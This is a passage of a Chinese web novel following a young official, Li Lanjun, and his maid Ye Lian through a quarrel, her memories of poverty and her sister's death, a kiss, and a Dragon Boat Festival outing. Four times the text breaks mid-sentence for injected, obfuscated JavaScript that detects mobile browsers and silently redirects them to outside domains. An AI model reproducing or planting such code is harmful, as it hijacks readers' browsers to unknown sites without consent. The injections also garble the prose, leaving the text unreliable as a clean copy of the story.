这话一出口，就再也没有转圜的余地，李兰钧这死要面子，就好争一口气的性子可算坑惨了他。 “既然没说不待，那就好好待着。”李肃顺水推舟，留下这句便率先踏出门，留李兰钧和门边的杨遂干瞪眼。 杨遂讪笑一声，道：“判官，事已至此，咱们明日见？” 堂中立着那人半晌没说话，随后颇有气性地甩甩袖子，略过他走出设厅，路过时重重哼了一声，显然是不领情。 杨遂见李兰钧走出府衙老远，才收了笑容给他一个白眼，自小径往佥厅去。 甫一回南园，李兰钧心里越想越气，脚下生风了一般冲进书房，摔砸好些才消解心中气愤。 书房里白纸满地纷乱，砚台中墨汁洒在纸上好一片黑白不分，他坐在座上看着满室碎瓷烂具胸口起伏不已。 叶莲端着食案走到门边，见一只灯架躺在门外，抬眼看书房内几乎没有落脚之处，正犹豫着要不要通传，却听里面传来冷冷的声音：“进来。” 李兰钧正在坐书案前，靠在椅背上半睁着眼睛看着她。 她踩着一地残渣走进书房，停在李兰钧面前：“少爷，奴婢给您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399323|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送饮子和西瓜解渴。” 叶莲原是想感谢李兰钧教她习字，就做了冷饮等他下值回园，天气燥热，喝上一口冷饮想必能纾解不少烦闷。 没成想这么不凑巧，李兰钧如今可不止是烦闷，她的冷饮似乎解不了怒火。 但人都走到门边，又被李兰钧叫了进来，打退堂鼓是绝无可能了。 “无端端送这些做什么？”李兰钧皱着眉，一副不耐烦的神情。 “这几日天热，奴婢怕少爷下值了喝不上一口凉水，口舌燥痛，就……送过来了。” 叶莲据实告知，眼睛飞快眨了两下。 李兰钧砸了这么一堆东西，的确口渴不已，叶莲此举雪中送炭，他面色好歹缓和下来。 “哦，拿过来。”他倨傲地使唤道。 叶莲依言将食案置于桌边，拿起一只天青釉高足杯，里面盛了满满一杯酸梅紫苏饮，她小心翼翼地递给李兰钧，生怕泼洒出去。 李兰钧拿起来喝了一口，水不算太凉，紫苏叶和着酸梅、香橼的酸甜卷入喉间，意外的清爽。 他将杯中水饮完，叶莲又用银签签起一块西瓜递上，黄玉般的瓜瓤里点着几颗红如朱漆的籽，李兰钧张口咬掉一半，再全部吃尽，吐出的籽由叶莲用手巾包着放到一旁。 西瓜的清甜冲散了酸味，一切恰到好处。 “少爷因着公事不开心么？”叶莲放低了语气，小心询问。 李兰钧掀起眼皮看她，叶莲穿着浅碧夏衫，神色关切，柳眉也随他微微皱起……到嘴边的责怪又换了另话：“不是公事，是遇上了难缠的同僚。” “明明是高兴日子，竟被旁人煞了风景，难怪少爷好生烦躁。”叶莲顺着他的话头安慰道。 “何止是烦躁，一想到日后要每日见到那张脸，还要任他差遣……就一刻都不想去了。” 李兰钧苦闷地扶额，一堆话也不知在对她说还是对自己说。 “不然我还是待在南园，一辈子这样庸庸碌碌地过去吧！” 叶莲听他这么说，思忖片刻才道：“少爷以往日日在书房用功读书，想必也是十分期待在官场上施展才华，若是真的因同僚就辞了官，日后一定会后悔的。” “少爷大可当他不存在，或是显露出恶劣的态度来吓吓他，让他离远一些就好了。” 她眼见着李兰钧早晚用功，实在于心不忍，能把李兰钧愁成这副模样的人，她只见过一个，现在竟然如雨后春笋般冒了出来。 若是切身体会李兰钧的可怕之处，说不定会退避三舍了。 李兰钧听罢，只是一个劲地叹气，纠结半晌才听天由命一般道：“罢了，兵来将挡，水来土掩，区区杨遂还能作践到哪儿去？” 见他展眉，叶莲松了一口气，看盘中剩下不少西瓜，又问：“少爷，还吃西瓜吗？” 李兰钧感觉自己受了天大的委屈，虽嘴上这么说却也不解气，他看着叶莲甜丝丝的笑容，心头那点郁闷化作依赖，伸手抱住叶莲的腰，将头放在小丫鬟胸口。 “哪还吃得下……” 32. 哽咽 李兰钧哼哼唧唧地埋在她胸口，撒娇似的继续道，“我都快被气死了。” 他时不时凑近跟叶莲肢体接触已是常事，她虽逐渐习以为常，但几时听过这样稀罕的语气，不由心尖一酥，分寸规矩被抛到院外，抬手轻轻摸了摸他的头冠，温声道：“少爷受委屈了。” 受委屈的李兰钧抱着一块温香软玉，心情似乎没那么糟糕了。 “后日端阳，你想不想去看赛舟？”李兰钧平复了好一会儿，才出口谈起其他事宜。 “赛舟？”叶莲语气雀跃起来，又转念一想李兰钧后日的行程，恭谨答道，“少爷不是要回李府过节么，恐怕挤不出空去。” “传个话的事，每年过节不都一个流程，没意思。”李兰钧轻飘飘地回。 他一见父亲就是一脑门气，实在不想在李府多待，所以寻了个看赛舟的借口，好消磨去李府过节的时光。 顺便还可带小丫鬟开开眼界，何乐而不为之？ “这么大的热闹，一定有很多人去看，人多反而没趣，少爷……”叶莲恐他耽误时辰，虽心中向往，却还是劝说道。 李兰钧冷哼一声：“你来当少爷好了？我说一句你要回上一百句！” “奴婢不是成心的……”叶莲瑟瑟缩回放在他冠上的手，委屈巴巴地应声道。 “我瞧你就是！本来在衙门就受够了气，回来还要受你的，真是要把我气死才甘心么？”李兰钧仰头瞥她一眼，忿忿撒开手靠坐在椅子上，句句嗔怒。 “奴婢错了，少爷，奴婢跟着您去就是了……” 腰上的桎梏忽然松开，叶莲低头便见李兰钧怒目而视，方才那点低头垂目的可怜样全变成了蛮横。 “让你出去玩乐又不是害你，怎的一副不情不愿的样子？”李兰钧蹬鼻子上脸继续逼近她，“我强迫你了？嗯？” “没有没有！”叶莲摇摇头，头上一支珠钗穗子在摇晃间挂到鬓角上，引出小片牵扯痛。 她不敢乱动，只得任由流苏勾在鬓发之间，将发丝扯得紧紧的，叶莲皱着眉忍痛不语。 李兰钧这才满意地哼声，道：“算你有良心。” 他散漫地伸出一只手，牵起叶莲的手掌拉着她往自己这边靠，叶莲略微歪斜着头，依依站在他膝前。 “勾着头发也不吭声，疼死你算了。” 李兰钧探手去取勾住她鬓角的穗子，手指在发间绞弄一会儿，鬓角的扯痛便消失不见。 他拨弄好钗穗，沿着鬓发往下轻轻抚至耳廓，指尖一点点感触形状后，又捏起叶莲圆润的耳垂。 那只耳朵倏地变得通红，红晕直蔓延至脸蛋。 “你怎么没穿耳？”李兰钧看着她平整的耳垂，开口问道。 叶莲红着脸垂下眸子：“家中贫穷，一年到头总是没有空闲的时候，没人帮我穿。” “一时半会儿的功夫都没有？” 李兰钧颇为不解。 “没呢，能在天未黑透时歇息都算早，平时更是要摸黑干活。”叶莲耐心地回答道，面上红晕稍微褪下一些。 “为何不点灯？” “没有钱点，油灯也是要钱买的呀。” “一家五口人日日劳作，连买油钱都没有？” 幼时那些穷苦记忆渐渐浮上心头，叶莲劫后余生般浅笑着答：“没有，家中积蓄留着救急，分不出钱卖这些。买了杂物，若是有个病死喜丧，就没钱应对了……少爷，一块铜板要掰成两半花的日子，您应该想不到吧？” 李兰钧摇头，思忖后又盯着叶莲道：“你给我说说你以前的事，这些事我从未听过。” 他在书上看的，远远不及眼前的人具体。 “以前的事么……奴婢有一日劳作回家，一整天都未吃过饭，本想着去锅里取晚上的黍汤填肚子，却被弟弟抢去吃了，奴婢不敢再去生火煮饭，就这样饿着回榻上，”叶莲依言讲述自己的往事，前半段脸上并未有半点波澜，后又现出淡淡的笑容，“没想到，枕边竟有半块炊饼，奴婢就躺在榻上啃，炊饼又冷又硬，那时却觉得十分好吃，可能是饿坏了……” “什么混球弟弟，不把你当人了。” 李兰钧听得直皱眉头，低骂道。 叶莲没反驳，只是无奈地笑着说：“是啊，家里只有二姐对奴婢好，后来得知那半块饼也是她偷偷放在床头给我的……” 她的思绪已被牵到了那片山村脚下，泥土砌成的房屋里躺着一个小女孩，在纸糊的窗户边借着月色啃食炊饼，身旁躺着的二姐背着身睡，屋里只有嚼咽的声音。 “你二姐已经嫁人，还是同你一样被卖了？” 她说起二姐眉目间涌起的缱绻，与叙事时的苦涩大有差异，李兰钧忍不住去问，想多听些墙院之外的故事，或是探寻叶莲贫苦生活的痕迹。 “她死了。”叶莲抬起脸，平静地说。 李兰钧顿了一下，一时不知用什么表情面对她的话。 “二姐生了怪病，爹请郎中开药，她吃了却没好，眼见药钱花出去不少，二姐身子越来越差，爹就不打算治下去了。” 她亲眼看着叶二娘病成一具骷髅，皮肉像纸一样勉强裹着骨头，她松垮地瘫在榻上，如果不是还有鼻息，更像个发臭的死人。 叶莲白天挤出时间上山找药，把山头上能入药的一股脑采回家，夜里就将草药汁水喂给二娘，随后心惊胆战地躺在这将死之人的身侧。 二娘苟延残喘活了半年，期间连话都说不出一句，死前拼命翕动着嘴唤了声“三娘”，就睁着眼去了。 她下葬时叶莲没敢哭，爹娘对这个不能干活的累赘女儿颇有微词，叶莲怕惹怒他们，躲在被子里哭了一场，叶二娘的一生便在她的哭声里草草结束了。 叶莲眼中有些忧伤，但见李兰钧未置一词，很快掩盖住情绪怯怯地问：“少爷，奴婢说这些是不是让您……不开心了？” 她几乎不愿说这些事，毕竟不是能逗人高兴的趣闻，反而扫人兴致。 “是不开心，”李兰钧呼出一口气，闷声道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15409894|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“我竟不知你过得这么艰难。” “如今不难了，少爷，您对奴婢这样好，奴婢有时都不知如何报答。” 叶莲赶紧缓和气氛，扬起一抹清浅的笑。 “你要报答我？那什么都听我的，不许说半个不字，”李兰钧忽而扬起眉，眉宇间透着矜贵，“你后日跟我去看赛舟，我带你去东朝楼看，那儿景好。” “少爷，东朝楼是哪儿啊？”叶莲顺着他的话头问。 李兰钧难得耐着性子同她解释，“你上回买花糕，最高那座楼就是了。” 她买花糕那糕点铺子都是金玉堆成的，更何况集云大街最惹眼的酒楼，定是她不敢想象的花销。 叶莲眨眨眼，心底又不敢推脱，只好抿唇道：“少爷，这样还是您在对奴婢好呀，奴婢什么都没做……” “你想给我什么？除了陪着我，你给不了其他任何，”李兰钧抬眸直视她，敛住散漫的态度，认真道，“莲儿，你为何总是怕还不起我给的，我没说要你还。” “一直受人恩惠，奴婢心头不安……”叶莲受不住他的目光，率先低下头细声说道。 “你总是在计较自己配不配，你害怕什么？被我讨厌吗？还是说……我这个人，让你害怕了吗？”李兰钧不解地眯起眼，手因情绪抓住她的双臂，让她不得动弹。 李兰钧让她害怕了吗？对她千般好，万般好，她也忍不住退到温情之外，不敢有一点心动，她从来都在怕，怕一切只是暂时，绝不是永远。 叶莲陡然间抬起脸，无助地盯着他摇摇头，她张开嘴半晌发不出声，只能一味地摇头。 李兰钧睁着一双桃花目，他固执地等叶莲开口，势要得到她的回应。 “奴婢……”叶莲哽咽不成声，拼命掩盖住哭腔后脱口而出一句破碎话语，“奴婢不怕……” “你撒谎，你根本就是怕我。” 李兰钧毫不留情地拆穿道。 天色逐渐晦暗，丫鬟压低脚步点燃窗边灯盏，灰白的夜色中弥漫着昏暗的黄，叶莲将下唇咬出血腥味，挣扎数次，眼中还是不争气地滚下豆大的泪珠。 李兰钧按在她臂上力道霎时松懈，心尖似是有针扎般泄了个口子，源源不绝地从里头溢出血丝，浸透四肢五脏。 “你不必为他人活着，莲儿，我会对你好的。” 他牵住叶莲的手腕，让她坐在自己双腿之上，身子尚能缩进他的怀中。 叶莲如婴儿般躺在他怀里，脑袋依偎在胸口处，那单薄凉冷的身躯竟散发着淡淡的温暖，让她忍不住往更深处藏。 即便是李兰钧，也不能给她一生，承诺万千只有“对你好”三字，再也不会有其他。 她早就注定不能为自己活了。 葱白的手臂攀上李兰钧脖颈，缓缓收紧，叶莲支起身子，用泪光盈盈的眼睛柔软地注视着他，犹带啼痕妆未敛。 李兰钧眸色微暗，垂首让二人鼻尖相触，气息交缠不清，几乎耳鬓厮磨片刻，才偏头擦过面颊吻住她的唇。 33. 咬耳 天已黑蒙了，室内几乎没有亮色，只有门前几片昏黄的灯影照进来，十分模糊的书房里，有二人相偎着，唇齿相依。 叶莲整个人都在抖，交叠在后颈的手臂，或轻或重扫过他面颊的羽睫，甚至是紧贴着的唇瓣……持久而微弱地战栗。 她身上有太多李兰钧所不能理解的痛苦，譬如说贫穷，他能给予她的仅仅只是可怜，还有藏在可怜中的那点轻蔑，上位者单纯的轻蔑。 贫穷就像话本里的故事一般，李兰钧觉得好奇，这个小丫鬟脑子里到底装着什么，他同样也想打探。 分离之后，李兰钧俯首看着叶莲，那双在黑夜里闪着泪光的眼睛，如泉水般潺潺流出泪。 他伸出手，骨节分明的指节抚过叶莲的脸颊，一点一点擦掉她温热的泪水。 “为什么哭？” “少爷的话让奴婢想哭。” 叶莲轻轻翕动着嘴唇，良久才回道。 “我不是头一次说这种话了，莲儿，你依旧不明白。”李兰钧用指腹在她眼下反复摩擦，无可奈何地说。 叶莲垂眸，细声道：“少爷，奴婢想清楚了。” “想清楚什么？” “少爷之前一直在问的。” 门边守着一众送膳的丫鬟，没有李兰钧的命令，全数待在外面待命。 整个书房一片狼藉，狼藉之中坐着个散漫的李兰钧，他身上是瑟瑟发抖的叶莲，任谁从外头看一眼，都知屋内要发生什么。 李兰钧幽幽扫过她的眉目，手指往下触碰到两瓣微张的唇瓣，叶莲屏息等他的答复，气息都清浅起来。 “我如今却想不清楚了，要好好考虑一下……”他慢悠悠地说道，看着竟有些一本正经。 叶莲傻了，她方才一系列的举措仿佛成了笑柄，李兰钧现在说不再需要她了。 她脸上瞬间爬满绯红，一时说不出话来。 “生气了？”李兰钧歪头看着她的表情，面上似笑非笑。 叶莲摇摇头，并不开口。 “你当初到现在想了如此久，我这才想了一会儿，你就不高兴了？就这么迫切要我的答复了？”他反而有些喜色，含情脉脉的桃花目弯起一个勾人的弧度。 “奴婢好不容易……”叶莲有些委屈地嘟囔道，面色因羞愧更加红得明显。 “好不容易什么？如今要换你来讨我欢心、说漂亮话了，你说，你该怎么做？” 他眼下那颗小痣引人遐想，配上一脸使坏的表情更是引诱之色溢于言表。 叶莲盯着他的眉眼，豁出去扶着他的肩膀，在如水的眉心落下一吻。 李兰钧被她的吻弄得一愣，眼睛睁了半晌才忽地飞快眨起来，掩在暗处的耳尖染上薄红，他清了清嗓子，嗔道：“就这样？这样就是讨我欢心了？” 叶莲眨巴着双眼点点头，一脸真诚。 李兰钧咬着唇重重哼了一声，压下身抵着她的额头，对视到叶莲害羞地躲开时，他才转到耳边咬一口她的耳垂。 “嘶！” 他这一口不轻，叶莲缩着脖子往后躲开，隐隐感觉耳朵被他咬得出了血。 “给你穿耳呢……你娘不是没空给你穿么？”李兰钧坏笑着道。 “耳朵要被少爷咬掉了！”叶莲捂着被咬疼的耳垂，提防地看着他，以防他再次出口。 她的声音带着哭过的沙哑，像风吹过树叶似的，一阵一阵略过枝桠。 李兰钧心下一动，伸出食指和中指触碰她的喉处，那儿有一块稍硬的地方，随着他的触摸缓缓动了动。 “少爷……？”叶莲不明所以，却仍随他的指尖在自己脖颈上停留。 她一开口，从喉间发出的声响便传到指尖，极细小的嗡嗡声。 两根指头往下触到锁骨，在突出的骨头上一一探索，从中凹处到肩头两端，又游走回锁骨正中。 叶莲不再询问了，她静静地等待着，把自己想象成一道端上桌的好菜，只待食客品尝。 “食客”的手指快要滑到缓慢起伏的胸口，方碰到抹衣领口，指尖勾起一小块布料，蓦地像烫手似的抽回，随后将指头扣进掌心虚握成拳。 “真想被我吃干抹净？” 半晌，头顶发出闷闷的声音。 灯火黯淡，叶莲抬头只看见迷朦的一张脸，她咽了咽唾沫，回：“奴婢不怕了。” “什么怕不怕的，蠢丫头，”李兰钧轻哼道，又兴致缺缺地拍拍她的侧腰，“起来吧，让她们进来收拾屋子。” 叶莲习惯性地一缩，听清他的话后愣了半晌，她仔细分辨了李兰钧的话，发觉他的确没有要继续的意思，只好离开他的怀抱站到一旁。 “晚膳不用了，我要回去歇息。” 李兰钧继续道，复而撑着手在颊边看着她，眼神有些意味深长。 叶莲低低应了一声，埋着头从一屋碎片中小心翼翼地走出去，走到门边微微侧身想回头看李兰钧，却又在一瞬止住，继续向前踏出房门。 书房门口一侧站着个熟悉的身影，叶莲用余光瞥见那双冷漠的眼眸，她略微沉了声，对门边的丫鬟们道：“少爷今晚不用膳，守门几人进去收拾，厨房的便回吧。” 众人齐声回“是”，叶莲直感觉红儿的目光还在她身上徘徊，她不去看她，吩咐完又跟一边的冬青打了声招呼：“冬青管事，少爷说要回寝居。” “嗯。”冬青略一颔首，面上仍旧带着些许笑容。 叶莲便率先走出前廊，从石径往前约莫数几尺，有一人无声走到她身侧，她回头一看，是许久不见的云儿。 云儿局促地与她对视，待远离人群方才开口唤她：“莲儿……” 叶莲知道她受排挤那些日子，是云儿托沈嬷嬷开解自己，但她当时的不作为又让她觉得心寒。 心寒与感激并存，她最终疏离地回了：“找我有何事？” “唉，也没什么事……”云儿见她冷漠，踌躇着不敢开口。 叶莲如今是李兰钧的贴身侍女、南园炙手可热的人物，她一个小小厨房丫鬟，实在不知如何表述亲近，只怕怎样关怀，都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15423813|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会被套上谄媚的嫌疑。 “你直说吧，我没什么不愿听的。”叶莲依旧头也不回地走着，没分出半眼去看她。 “你过得可好？北院这边……我听说她们合起伙欺负你，如今应该不会了吧？” 云儿拘谨地说，她见李兰钧对叶莲多有青睐，便更想打探叶莲的近况。 叶莲摇摇头，垂眸道：“还成，只是刚来受了些苦。” “那便好，过得好便好，”云儿越说越小声，最后试探着开口，“红儿那日是我做错了，莲儿，我真不知该如何抉择……” 叶莲轻轻叹了口气，终于转过头与她对视：“我后来仔细想过，你有你的难处，不怪你。” 那时她们都似飘零落叶，她又有什么资格让云儿站在自己这边，最后抛下云儿一人独自面对。 “真的么？”云儿听她说完，面上有掩不住的雀跃。 叶莲点头，这下就算冰释前嫌了。她想起云儿众目睽睽来挨近自己，不放心地问：“你过来……日后怎么面对她？” “总不能一直顺着她的意，那岂不是白活了？”云儿亲近地贴上来，与她并肩而行，“大不了我走，出去打杂也是可行的。” “打杂可没丫鬟好做，能余下钱补贴家用么？”叶莲直截了当地指出道。 “也是……如今少爷性子好多了，南园还是不错的主家呢！”云儿笑了笑，同她打趣。 叶莲有些讶异：“南园都成了好主家了？” “可不是，虽外边名声仍不大好，园中人心底都晓得松快不少了，”云儿说着，同以往一般朝她眯起双眼，“莲儿，少爷这样，都是你的功劳。” 叶莲面上一臊，用手肘怼怼她的腰：“可别这么说！” “别急着斥我呀，这可不是我说的，是她们都这么说呢！”云儿怕痒，往一旁躲开道。 叶莲闻言，无可奈何地唉声叹气。 二人走过回廊时，廊柱上趴着一只没完没了吵着的夏蝉，吱吱颤动蝉翼，灯下聚集密密麻麻的蚊虻，夜里静谧如画，只有她的叹息声突兀响起。 “我和少爷……你怎么看呢？” 叶莲心乱如麻，她不知自己迈出这一步到底是对是错，从来没人为她指点迷津，索性求助于旁观者。 “长久以往，你凭借孩子当了通房妾室，至少比为奴婢好多了吧……”云儿思索片刻，开口时仍在斟酌，但最后又多嘴一句道，“如数年后的事，且只能看少爷的良知了。不全是好处，也不全是坏处。” 云儿此言实属掏心掏肺，叶莲听罢沉默许久，才讷讷地回一句长叹，几乎说不出话来。 能遇上李兰钧已是她天大的好运，叶莲却觉得终日惶惶不安，做下的决定始终摇摆动荡。 他真心爱护自己吗？ 或许求一颗真心于她这样的身份而言太过可笑。 “罢了罢了，看命吧。” 她多想有何益，何况李兰钧都动摇了。 叶莲晃晃脑袋，决定将事情一股脑抖出来，让头不这么沉重。 34. 端阳 五月初五，李兰钧到了正午才不急不缓地收拾出门，乘车往东朝楼去。 叶莲同冬青坐在车架上，一路行人水泄不通，马车行路缓慢非常。 街边不少人拿着一把艾草，还有提着一挂角黍的，草叶清香，过路时便可闻到一股淡淡的草木气息。 “这样走，何时才能到去了？”叶莲看距离集云大街尤有距离，不免担心李兰钧赶不上家宴。 冬青跟着向前张望几下，也有些愁容：“今日百姓都去赶热闹了，路上拥堵，怕要耗费时辰……” 果然印证了他的话，车马足足耗了近两个时辰才抵达东朝楼大门口。 舟车劳顿，李兰钧带着一身虚弱气半死不活地下了车，他苍白的脸庞更加灰暗，唇无血色，成了青天白日里活生生的鬼。 “这么多人，来打秋风了不成……”他话语中充满怨气，吊着眼往周遭一瞥。 叶莲在一旁轻轻扇着风，看他身子不适，安慰道：“外面太热闹了，少爷，进去就没这么难受。” 李兰钧微微点头，抚顺自己的气息才由冬青搀扶他的手臂领着往楼里走。 东朝楼外装阔绰，内饰更是贵不可言，风雅贵气，入门即是宜人的浅香，二位袅袅婷婷的侍女引他们到大厅，厅中设一高台，台上抱着琵琶的歌伎低吟浅唱，台下看客谈笑风生。 李兰钧皱着眉，对楼中歌舞无心赏乐。 掌柜迎上来同他寒暄几句，遣人带着他们往楼上走，侍女将他们带到三楼一间厢房，推开房门待李兰钧进屋。 甫一进门，便见屋内窗棂大敞，城中景色在此一览无余，清风拂过香炉，带着冷香袭满肌肤。 人方至，茶水却早已上好，散着热气静待入座，窗边乐伎站在一侧，衣衫轻薄柔顺。 叶莲跟在李兰钧身后，在他坐下后立在桌椅旁，只要抬眼便能看见城河中各式的龙舟。 楼下人声鼎沸，随着龙舟的游动发出一阵阵欢呼，她侧目看去，人群密密麻麻如蚁穴中成堆的蚂蚁，满城乌瓦白墙，林立在点点碧绿里，又由行道分割整齐。 “客官，您听什么曲呢？”乐伎低眉浅笑，言语如烟雨江水般细腻。 “随意吧。”李兰钧轻抿一口茶水，语句冷淡。 乐伎柔柔应声，于是坐到琴前素手拈来一曲唱词，一道弹一道唱着：“妆额黄轻，舞衣红浅，西风又到人间……” 唱声婉转，伴着熏风徐徐入耳，叶莲在河中赛舟的专注在她开口那刻瞬时被吸引住，她的目光转向一双纤细有力的手指上，指尖染着嫣红色，往上唇色比指尖更绯。 “你看她做什么？” 李兰钧本在惬意地吃着点心，抬头却看见叶莲直勾勾地盯着抚琴女，神色痴迷，忽觉一股莫名的火气。 叶莲被他点名，从歌声里醒过来回首看他：“啊？奴婢觉得好听，便不自觉地看过去了……” 见她一脸无辜地眨眨眼，李兰钧手中的糕点被他捻成碎屑，他又看向乐伎，乐伎口中仍低低吟唱着，眉眼流转在琴弦中，听叶莲提到自己，又抬眸与她相视而笑。 二人你来我往，仿佛置身世外，全然不顾一脸妒色的李兰钧。 “她比赛舟好看？”他莫名其妙地发问。 冬青闻言，憋着笑意看向叶莲，叶莲更是不明所以，她看看乐伎，又看看窗外的龙舟，老实回道：“房中安静，没看赛舟的热闹劲，这位姑娘长得水灵，曲又唱得好听，大约是比赛舟好看些……” 乐伎勾唇一笑，歌声中带了些许欢快。 李兰钧猝不及防给叶莲塞了一口点心，又不放心地再塞一块，将她的嘴堵得满满当当。 “让你说了么。”他忿然道。 叶莲嚼着点心，心道到底是谁让她评价的？ 门外传来一阵有序的敲门声，李兰钧从不满中抽出神，勉强回了一个“进”字。 两名伙计端着食案进门，将菜品一一摆放在桌上，嘴中还清晰地介绍着：“客官，莲房鱼包、玉灌肺、糖蒸酥酪……您看看缺了什么？” 桌上陈列的菜品足够一顿晚膳，李兰钧粗略扫了一眼，挥挥手让伙计退下。 “少爷，咱还回府么？”冬青见这一桌菜，预感到了什么似的试探着问。 李兰钧赏给他一个白眼，“你觉得呢？” “那要不要奴婢去传一声话？”冬青立刻懂了他的意思，合着他折腾一通，就是巴不得赴不上李府的晚膳。 李兰钧颔首。 冬青得了指示，躬身退出厢房。 房中只剩他与叶莲，还有唱着不知哪处词曲的乐伎。 “你搬个凳子，坐我身侧。”李兰钧并未动箸，反而吩咐叶莲道。 叶莲依言坐到他身边，乐伎窥见此景，不动声色地顿了一下，又续上前句作无事状。 “少爷，您打算在这儿过端阳吗？”叶莲看着窗外渐落的日头，轻声询问。 赛舟结束，街上百姓纷纷散去，或归家或游玩，岸边不再拥堵，食肆商铺支起灯笼招揽着客人，街头延续方才的热闹景象。 “有何不可？” 叶莲无权要求他，自然不敢多说，她轻轻摇头，附和道：“街市上热闹，挺好的。” 李兰钧这才舒展眉头，将一碗浮着糖霜的酥酪置于她面前，又取了瓷勺放在酪上。 “我不吃酪，你吃。”他把碗往叶莲这边推了推，信口说来。 叶莲乖巧地点点头，舀一勺雪白的酪放入嘴里，酥酪入口即化，香浓醇厚的牛乳味与甜腻混合，说不出的香润。 “少爷，好好吃！”她捏着勺子看向李兰钧，小鸡啄米似的点头称赞，眼眸清澈闪着亮晶晶的光泽。 李兰钧夹起一块炸酥咬了一口，面上有些笑意：“没出息。”说罢又推着一碟小食放在酥酪旁。 乐伎有意无意地唱着“衣带渐宽终不悔，为伊消得人憔悴”，唱词曼妙，带了些柔若无骨的靡靡。 华灯初上，楼内歌舞升平，看客高声吆喝，歌伎笑声如银铃……一片纸醉金迷之中，厢房内有二人依靠着肩膀，在小调里动筷用餐，不时低语笑言。 喧嚣中格格不入的宁静，置身其中的李兰钧难得地多吃了些，搁箸看着叶莲一点点吃着碟里的菜，竟也觉满足。 “味道和你做的相比，谁更胜一筹？” 他用手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15435950|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撑着头，散漫地问。 叶莲从餐食中抬起脸，中肯地表示：“奴婢比不过，这里师傅的手艺厉害得多呢。” “我怎么觉得，你做的更和我胃口？”李兰钧笑笑，直抒己见。 “少爷喜欢奴婢做的菜？”叶莲听罢喜眉笑眼地讶异道，两只眼睛眯成弯弯的月牙，“那奴婢也是师傅了，少爷便是奴婢第一个食客！” 从初入南园至今，她的手艺好像只有李兰钧一人品尝过，自然而然地就成了她的“主顾”。 “第一个？你还要有几个食客？” 李兰钧言下之意即是，就他一人不成吗？ 叶莲却生恐自己那点当厨子的愿望被抖落出来，赶紧打了个哈哈：“冬青管事也吃过奴婢做的馄饨，他是第二个嘛！” “哦！”李兰钧霎时不乐意了，重重应了声便看向别处。 看他不再多问，叶莲放下心来继续吃碟中的小食。李兰钧眼睛看着远处街景，手却递过来一双干净的木箸，他没回头，淡淡地道：“桌上这些，自己夹。” 叶莲于是毕恭毕敬地接过筷子，虔诚地望着李兰钧：“谢少爷！” 李兰钧故作深沉地板着脸，没理会她的虔诚。 食毕，桌上菜式约莫吃了个一干二净，叶莲才放下碗筷静候李兰钧的吩咐。 李兰钧不喜喧哗，所以不愿在楼中多待，没赏多久景就领着她出了东朝楼。 冬青坐着车马回府通信，现下都还未回来，二人站在大门口，只得老实等他。 河岸边许多百姓在放生鱼虾，因着节日的相似气氛，放河灯的也不在少数，再看街道两旁，行人佩五色长命缕，男男女女都簪了艾花，提溜着几包香糖果子。 李兰钧着湖蓝直缀长衫，一身贵气逼人，就是缺了节日的亲近。 “少爷，”叶莲开口唤他，有些扭捏地从袖中摸出一条编织成绳的彩线，“奴婢扎了根彩绳……” 李兰钧俯首看向她手心的细绳，应道：“怎么，你要送我？” 他语气中虽是轻蔑，手却诚实地抬起来，卷起袖子露出一截瘦削的手腕，示意叶莲给他系上。 叶莲便俯身轻柔地用彩绳绕住他的手腕，缠了两圈后系了个结，再打理整齐一番，苍白的手腕上绕着绮丽色彩，添了几分生气。 “少爷，这是长命缕，愿您无病无灾、长命百岁。” 叶莲扬起一抹微笑，颊边两只梨涡灵动可爱。 李兰钧抖落袖袍，把那串彩绳盖在衣下，他心头明明是高兴，嘴上却丝毫不表现出来：“这种话我都听腻了。” “那愿您心平气和，少生气？” “这恐怕不是对我的祝愿吧——我对你很凶吗？”李兰钧听叶莲这古怪的愿景，总觉得在点他似的，遂追问道。 “不凶不凶，”叶莲连忙摇头，挂着一脸讨好的笑容哄道，“少爷特别好，特别温柔！” 